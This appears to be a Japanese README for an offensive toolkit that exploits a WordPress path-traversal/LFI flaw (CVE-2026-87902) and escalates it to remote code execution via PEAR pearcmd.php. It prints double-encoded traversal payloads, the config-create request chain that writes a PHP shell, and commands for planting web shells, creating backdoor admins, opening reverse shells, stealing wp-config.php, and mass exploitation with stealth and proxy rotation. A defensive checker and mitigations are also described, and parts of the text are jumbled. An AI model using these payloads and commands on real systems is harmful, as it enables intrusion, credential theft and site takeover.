
WordPress CVE-2026-87902 LFI-to-RCEツールキット。武器化されたエクスプロイトチェーン(PEAR RCE、ウェブシェル、管理者作成、略奪)と、非侵入型のSafeCheckerバージョンおよびリスク監査ツールを備えています。

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、TCK 243/244(トルコ)、および世界中の同様の法律の下で違法です。
CVE‑2026‑87902 は、WordPress Core(バージョン 4.7.0 から 7.1.1)における重大な未認証のパストラバーサルおよびローカルファイルインクルージョン(LFI)脆弱性であり、未認証の攻撃者が pagename クエリパラメータを介して任意のローカル .php ファイルをインクルードできるようにし、特定のサーバー条件下では PEAR の pearcmd.php ファイルを連鎖させることで**リモートコード実行(RCE)**にエスカレートします。CVSS スコア:9.2(Critical)。2026年7月に Robert Ressl によって WordPress の HackerOne プログラムを通じて開示されました。2026年9月22日に 7.1.2 で修正され、4.7 までバックポートされました。
この欠陥は2016年以降のすべての WordPress リリースに影響します — コードレビューを検出されずに通過した10年間のバージョンです。根本原因は、CMS で最も頻繁に通過されるコードパスの1つにおける単一の欠落した検証呼び出しです。
サニタイズされていないテンプレート解決 – wp-includes/template.php の get_page_template() は、pagename クエリ変数からテンプレート候補を構築します。同じ関数内の隣接するコードパスは validate_file() を適用して ../ シーケンスをブロックしますが、$pagename ブランチはそれを呼び出しません。pagename 内の任意のトラバーサルはチェックされずに通過します。
二重エンコードされたトラバーサルバイパス – WordPress は pagename に sanitize_title_for_query() を適用し、リテラルのドット(.)をハイフンに置き換えてトラバーサルを防ぎます。しかし、この関数はすでにデコードされた入力に対して動作し、再帰的にデコードしません。攻撃者は %252e%252e%252f を送信します。Web サーバーはそれを一度デコードして %2e%2e%2f にします。サニタイザーはリテラルのドットを見ないため通過させます。その後 get_page_template() が関数内で再度 を呼び出し、 を生成します。
page-* ディレクトリの名前を変更または削除し、php.ini で register_argc_argv=Off を設定し、WAF レベルで pagename パラメータの二重エンコードされたトラバーサルをブロックしてください。| ツール | 目的 | 対象ユーザー |
|---|---|---|
exploit.py | LFI 検出、PEAR RCE チェーン、管理者ユーザー作成、ウェブシェル設置、リバースシェル、マススキャン、ステルスモード、プロキシローテーション、完全な攻撃チェーンを備えた完全な兵器化ツールキット。 | レッドチーム / 許可されたペンテスター |
safecheck.py | 非侵入型の脆弱性チェッカー。ファイルをインクルードしたりペイロードを実行したりせずに、WordPress バージョンを検出し、露出を検証し、リスクを評価します。JSON レポートを生成します。 |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py パラメータsafecheck.py パラメータエクスプロイトは以下の WordPress エンドポイントと悪用ステップを使用します:
# Double-encoded traversal example
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# PEAR config-create RCE chain
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# PEAR include trigger
GET /?page_id=2&pagename={encoded_output_path}
このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。
urldecode()../テーマディレクトリの前提条件 – アクティブなテーマには、名前が page- で始まるトップレベルディレクトリ(例:page-templates/)が含まれている必要があります。構築されたファイル名 page-{pagename}.php は、トラバーサルを介してテーマルートを脱出します。古いデフォルトテーマ(Twenty Twelve、Twenty Fourteen)や人気のあるサードパーティテーマ(Neve、Hestia、Sydney)はこのディレクトリを同梱しています。そのような親から継承する子テーマも前提条件を満たします。
locate_template() の LFI シンク – 候補パスは locate_template() に渡され、テーマディレクトリを検索します。トラバーサルはそれらのディレクトリの外側のファイルに解決され、関数は file_exists() のみをチェックするため、読み取り可能な任意の .php ファイルが完全な Web サーバー権限でインクルードされます。これにより、テーマの前提条件を満たす未パッチのサイトでは LFI が無条件になります — データベース認証情報と認証ソルトを含む wp-config.php を含みます。
PEAR pearcmd.php RCE エスカレーション – PEAR は多くの PHP インストールに同梱されています。その pearcmd.php は通常 CLI 専用ですが、register_argc_argv=On の場合、PHP は URL クエリ文字列から $_SERVER['argv'] を設定します。攻撃者は LFI を介して pearcmd.php をインクルードし、引数として config-create を渡し、PHP コードと出力パス(/tmp/shell.php)を提供します。PEAR は攻撃者のコードをディスクに書き込み、2回目のインクルードでそれを実行します。
第2の悪用経路 – name(フロントページスラッグ)、page_id(投稿ページID)、preview=true、および pagename ペイロードを組み合わせたリクエストは、WP_Query をその post_name ブランチに迂回させ、これは sanitize_title_for_query() を介して pagename を決して書き換えません。これにより、トラバーサル内でリテラルのドットが許可されます。single.php を持たないテーマが必要です。
サーバー構成要件 – RCE は実際の展開で一般的な2つの条件に依存します:pearcmd.php が存在/読み取り可能(共有ホスティング、cPanel、公式 PHP Docker イメージで頻繁)、および register_argc_argv=On(PHP 8.5 未満のデフォルト)。PHP 8.5 はデフォルトを Off に変更しました。PEAR のない最新の PHP 8.5+ サーバーでは、悪用は LFI で停止します。
パッチ – WordPress 7.1.2 は2層の防御を追加します:(a) pagename ブランチにおける欠落した validate_file() 呼び出し、および (b) locate_template() によってすべての解決されたテンプレートに対して呼び出される新しい _wp_is_template_path_allowed() 関数。この関数は .. を含むパスを拒否し、realpath() を介して実際のパスを解決し、それが許可されたテーマディレクトリの1つ内にあることを検証します。この多層防御は、シンクへの1つの経路だけでなく、シンク自体を閉じます。
野生での活発な悪用 – 最初の悪意のあるリクエストはパッチリリースの5時間後(2026年9月22日 17:44 UTC)に観測されました。トラフィックは翌日にかけて10倍に増加しました。3つの段階が観測されました:config-show 偵察 → コアファイル検出 → config-create 兵器化。ペイロードファイル名には wp-pear-rce-flag.php、poc87902.php、luci_*.php、zeta_*.php が含まれ、/tmp および /var/tmp に書き込まれました。攻撃元 IP:169.58.48.193、169.58.48.195、2001:df1:e8c0::106b。
影響 – Web サーバー権限でのコード実行。完全なサイト乗っ取り、wp-config.php 認証情報の窃取、データ流出、ウェブシェルの設置、管理者ユーザーの作成、リバースシェル、変更されたプラグイン/テーマを介したサプライチェーン攻撃、および接続されたサービスへの横展開。CVSS 9.2 スコアは、ネットワーク悪用可能、認証不要、高機密性/完全性/可用性への影響を反映しています。高い攻撃複雑度はテーマとサーバーの前提条件を反映していますが、一般的な共有ホスティングではそれらの条件は頻繁に満たされます。
| ブルーチーム / セキュリティ監査人 |
| 機能 | exploit.py | safecheck.py |
|---|
| 脆弱性検出 | ✅ | ✅ |
| バージョン検出 | ✅ | ✅ |
テーマ page-* ディレクトリチェック | ✅ | ✅ |
PEAR pearcmd.php 到達可能性 | ✅ | ✅ |
register_argc_argv チェック | ✅ | ✅ |
| WAF 動作プローブ | ❌ | ✅ |
| 二重エンコード LFI プローブ | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| 管理者ユーザー作成 | ✅ | ❌ |
| ウェブシェル設置 | ✅ | ❌ |
| リバースシェル | ✅ | ❌ |
wp-config.php の窃取 | ✅ | ❌ |
| 完全な攻撃チェーン | ✅ | ❌ |
| マススキャン(マルチスレッド) | ✅ | ✅ |
| プロキシサポート | ✅ | ✅ |
| プロキシローテーション | ✅ | ❌ |
| User‑Agent ローテーション(OPSEC) | ✅ | ❌ |
| ジッター(OPSEC) | ✅ | ❌ |
| レートリミッター | ✅ | ❌ |
| 非侵入(安全)モード | ❌ | ✅ |
| リスク評価レポート | ✅ | ✅ |
| 緩和策の推奨 | ❌ | ✅ |
| JSON レポート | ✅ | ✅ |
| CSV レポート | ✅ | ✅ |
| HTML レポート | ✅ | ✅ |
| SQLite 出力 | ✅ | ✅ |
| カスタム User‑Agent | ✅ | ✅ |
| SSL 検証制御 | ✅ | ✅ |
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – WordPress が脆弱かどうかの確認 | safecheck.py |
| セキュリティ監査 – 非侵入型の脆弱性評価 | safecheck.py |
| レッドチーム – 完全な悪用を伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | safecheck.py |
| マススキャン – 複数のターゲットの脆弱性チェック | exploit.py(検出のみ) |
| インシデント対応 – システムが侵害されているかどうかの確認 | safecheck.py |
| パラメータ | 説明 |
|---|
-u, --url | 単一のターゲット WordPress URL(例:http://wordpress.example.com) |
-f, --file | マススキャン用のターゲットリストを含むファイル(1行に1つ) |
--pipe | stdin からターゲットを読み取る |
--exploit | 検出後に悪用を実行 |
--create-admin | 永続的な管理者ユーザーを作成(形式:USER:PASS) |
--webshell | RCE を介してウェブシェルを設置 |
--reverse-shell | リバースシェルをトリガー(形式:LHOST:LPORT) |
--loot | wp-config.php およびその他のファイルを窃取 |
--threads | マルチターゲット用のスレッド数(デフォルト:8) |
--timeout | リクエストタイムアウト(デフォルト:15秒) |
--retry | 最大リトライ回数(デフォルト:3) |
--proxy | HTTP/HTTPS プロキシ(例:http://127.0.0.1:8080) |
--proxy-list | ローテーション用のプロキシを含むファイル(1行に1つ) |
--proxy-rotate | プロキシローテーション戦略(round-robin、random、sticky) |
--jitter | リクエスト間のランダムジッター |
--jitter-range | ジッターの最小、最大秒(デフォルト:0.1,2.0) |
--delay | リクエスト間の固定遅延 |
--stealth | ステルスモードを有効化(UA ローテーション + ジッター) |
--insecure | TLS 検証を無効化 |
--user-agent | カスタム User-Agent |
--max-body | 最大レスポンスボディサイズ |
--concurrent-per-host | ホストごとの最大同時リクエスト数 |
--rate-limit | 1秒あたりの最大リクエスト数 |
--exclude | 除外するホストのカンマ区切りリスト |
-o, --output | レポートをファイルに保存(.json、.csv、.html、.jsonl) |
--db | SQLite データベースファイル |
-v, --verbose | 詳細出力 |
-q, --quiet | 静粛モード |
--no-banner | バナーを抑制 |
| パラメータ | 説明 |
|---|
-u, --url | 単一のターゲット WordPress URL(例:http://wordpress.example.com) |
-f, --file | ターゲットリストを含むファイル(1行に1つ) |
--pipe | stdin からターゲットを読み取る |
-t, --threads | マルチターゲット用のスレッド数(デフォルト:8) |
--timeout | リクエストタイムアウト(デフォルト:15秒) |
--retry | 最大リトライ回数(デフォルト:3) |
--proxy | HTTP/HTTPS プロキシ |
--jitter | リクエスト間のランダムジッター |
--jitter-range | ジッターの最小、最大秒(デフォルト:0.1,2.0) |
--delay | リクエスト間の固定遅延 |
--insecure | TLS 検証を無効化 |
--user-agent | カスタム User-Agent |
--max-body | 最大レスポンスボディサイズ |
--concurrent-per-host | ホストごとの最大同時リクエスト数 |
--exclude | 除外するホストのカンマ区切りリスト |
-o, --output | JSON レポートをファイルに保存(.json、.csv、.html、.jsonl) |
--db | SQLite データベースファイル |
-v, --verbose | 詳細出力 |
-q, --quiet | 静粛モード |
--no-banner | バナーを抑制 |
| # | シナリオ | コマンド |
|---|
| 1 | クイック脆弱性チェック | python safecheck.py -u http://wordpress.example.com |
| 2 | レポート付き詳細スキャン | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | ファイルからのマス監査 | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | 検出のみの悪用 | python exploit.py -u http://wordpress.example.com |
| 5 | wp-config.php の窃取 | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | ウェブシェル付き完全攻撃 | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | 永続的な管理者ユーザーの作成 | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | リバースシェル | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | 完全な攻撃チェーン | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | ステルス付きマス悪用 | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | プロキシローテーション | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
| ステップ | メソッド | エンドポイント | 説明 |
|---|
| 1. フィンガープリント | GET | / | wp-content、wp-includes、wp-json を介して WordPress を検出 |
| 2. バージョン | GET | /feed/ | <generator> メタを介してバージョンを抽出 |
| 3. ページID | GET | /wp-json/wp/v2/pages | 有効な page_id を発見 |
| 4. テーマディレクトリ | GET | /wp-content/themes/{theme}/page-templates/ | page-* 前提条件を確認 |
| 5. LFI プローブ | GET | /?page_id={id}&pagename={payload} | ローカルファイルをインクルードする二重エンコードトラバーサル |
| 6. PEAR インクルード | GET | /?page_id={id}&pagename={pearcmd} | pearcmd.php をインクルード |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | PEAR を介して PHP ファイルを書き込み |
| 8. 実行 | GET | /?page_id={id}&pagename={outfile} | 書き込まれたファイルをインクルード → RCE |
| 9. 永続化 | GET | (RCE 経由) | 管理者ユーザー / ウェブシェルを作成 |
| 10. 窃取 | GET | /?page_id={id}&pagename={wp-config} | LFI を介して wp-config.php を読み取り |